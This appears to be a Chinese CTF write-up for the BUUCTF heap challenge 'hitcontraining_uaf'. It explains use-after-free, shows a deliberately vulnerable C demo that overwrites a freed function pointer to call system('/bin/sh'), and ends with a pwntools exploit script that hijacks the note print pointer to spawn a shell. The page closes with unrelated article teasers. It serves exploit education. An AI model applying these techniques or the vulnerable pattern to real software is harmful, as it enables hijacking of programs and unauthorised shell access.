[BUUCTF-Pwn]hitcontraining_uaf

以此题作为对Pwn中堆利用的学习的开始。堆题初见,肯定有许多地方理解不恰当,希望师傅们能多多指教。

0x00.简述

成因

应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

示例程序

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
printf("malloc addr: %p\n",p1);
p1[3]=echo;
p1[3]("hello world\n");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %p\n",p2);
printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("/bin/sh");
return 0;
}

运行结果

0x01.检查保护

0x02.静态分析

经典菜单题,进入add_note函数查看,一次只能add一个结点,最多add5个

容易观察到notelist其实是一个结构体数组,大小为8个字节,其第一个成员为函数指针(4字节),指向print_note_content函数,其第二个成员也为一个指针(4字节),指向后续malloc指定大小的空间,因此在ida中的Structures窗口添加如下结构体定义

将notelist的类型声明改为如下所示

优化效果:

再看del_note函数,作用是删除指定下标的结点

未将指针置空,存在uaf漏洞

print_note函数,打印指定下标的结构体中buf的内容

在这个函数中会执行notelist结构体中第一个指针指向的函数,我们如果能把指针改为指向system("/bin/sh")函数,就能获得权限

后门:

0x03.动态调试

我们申请了两个结构体

堆中情况如下:

释放:

堆中:

bins:

0x04.思路

可以看到其实free过后只是更改了fd处的四个字节(插入到fastbin链表中),并没有”真正的释放“

本来,在buf(size为0x41的堆块)中fd对应的四个字节其实就是用户输入的内容的前四个字节,在指针型结构体(size为0x17的堆块)中fd对应的是print指针,即print_note_content函数的地址。现在,free过后,他们都被更改。

此时如果我们再申请一个结构体并在其内部给buf分配8字节的堆空间,就会用到fastbins中大小为0x10的两个堆

fastbin先进后出,所以原来的1号堆对应现在的指针型结构体,0号堆对应现在的buf,由于我们现在可以向buf中写东西,所以如果我们向buf中前四个字节处(也就是fd处)写入magic函数的地址,再次调用print函数尝试输出0号堆的内容时,它以为前四个字节(fd处的四个字节)是print_note_content函数的地址,而实际是magic函数的地址,所以执行的是magic函数,也就是system("/bin/sh")

简单说来,就是我们在最后print的是编号为0的堆块,它虽然已经被free掉了,但是指向它的指针没有置为null,指针仍然指向它,那么我们再通过该指针来调用它的时候,就会调用magic函数

0x05.exp

exp如下:

from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
p = process('./hacknote') def addnote(size, content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content) def delnote(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(index)) def printnote(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index)) #gdb.attach(p)
magic_addr = 0x08048945
addnote(0x30, 'aaaa')
addnote(0x30, 'bbbb')
delnote(0)
delnote(1)
addnote(8, p32(magic_addr))
printnote(0)
p.interactive()

[BUUCTF-Pwn]hitcontraining_uaf的更多相关文章

  1. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  2. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  3. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

  10. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

随机推荐

  1. Java 重入锁和读写锁

    本文部分摘自<Java 并发编程的艺术> 重入锁 重入锁 ReentrantLock,顾名思义,就是支持重进入的锁,它表示该锁能够支持一个线程对资源的重复加锁.除此之外,该锁还支持获取锁时 ...

  2. gtk中构件添加背景图

    在gtk中我们总想要去给构件添加背景图,具体函数代码如下 void chang_background(GtkWidget *widget, int w, int h, const gcha r *pa ...

  3. linuxc语言图形化编程包含gtk/gtk.h编译总是报错找不到该文件的解决方法

    在编译时输入gcc file.c `pkg-config --libs --cflags gtk+-2.0` 注意`不是单引号,和--前均有一个字符 这样问题就结局啦

  4. [Design Pattern With Go]设计模式-单例模式

    定义 一个类只允许创建一个对象(或者实例),那这个类就是一个单例类,这种设计模式就叫作单例模式.当某些数据只需要在系统中保留一份的时候,可以选择使用单例模式. 饿汉式 饿汉式的实现方式比较简单.在类加 ...

  5. LinkedList源码个人解读

    LinkedList的基本结构是双向链接的直线结构. 链表的构造函数有两个,其中空构造函数什么都没做,就是一个空实现. /** * Constructs an empty list. */ publi ...

  6. nginx提供网站首页的一个实例

    如果既想匹配'/'进行反向代理,同时又想通过nginx提供网站首页,可以在server中进行如下配置: user python; # 运行Nginx的用户 worker_processes auto; ...

  7. CMS前世今生

    CMS一直是面试中的常考点,今天我们用通俗易懂的语言简单介绍下. 垃圾回收器为什么要分区分代? 如上图:JVM虚拟机将堆内存区域分代了,先生代是朝生夕死的区域,老年代是老不死的区域,不同的年代对象有不 ...

  8. WebGPU[4] 纹理三角形

    代码见:https://github.com/onsummer/my-dev-notes/tree/master/webgpu-Notes/04-texture-triangle 原创,发布日 202 ...

  9. 极简实用的Asp.NetCore模块化框架决定免费开源了

    背景 在开发这个框架之前,前前后后看过好几款模块化的框架,最后在一段时间内对ABP VNext痛下狠心,研究一段时间后,不得不说 ABP VNext的代码层面很规范,也都是一些最佳实践,开发出一个模块 ...

  10. 文件连接--ln

    ln -n file1 file2  将文件2设置为文件1的软连接:file1和file2 任何一个改动都会反馈到另一方,删除源文件, 软连接文件不可用 ln -s file1 file2  将文件2 ...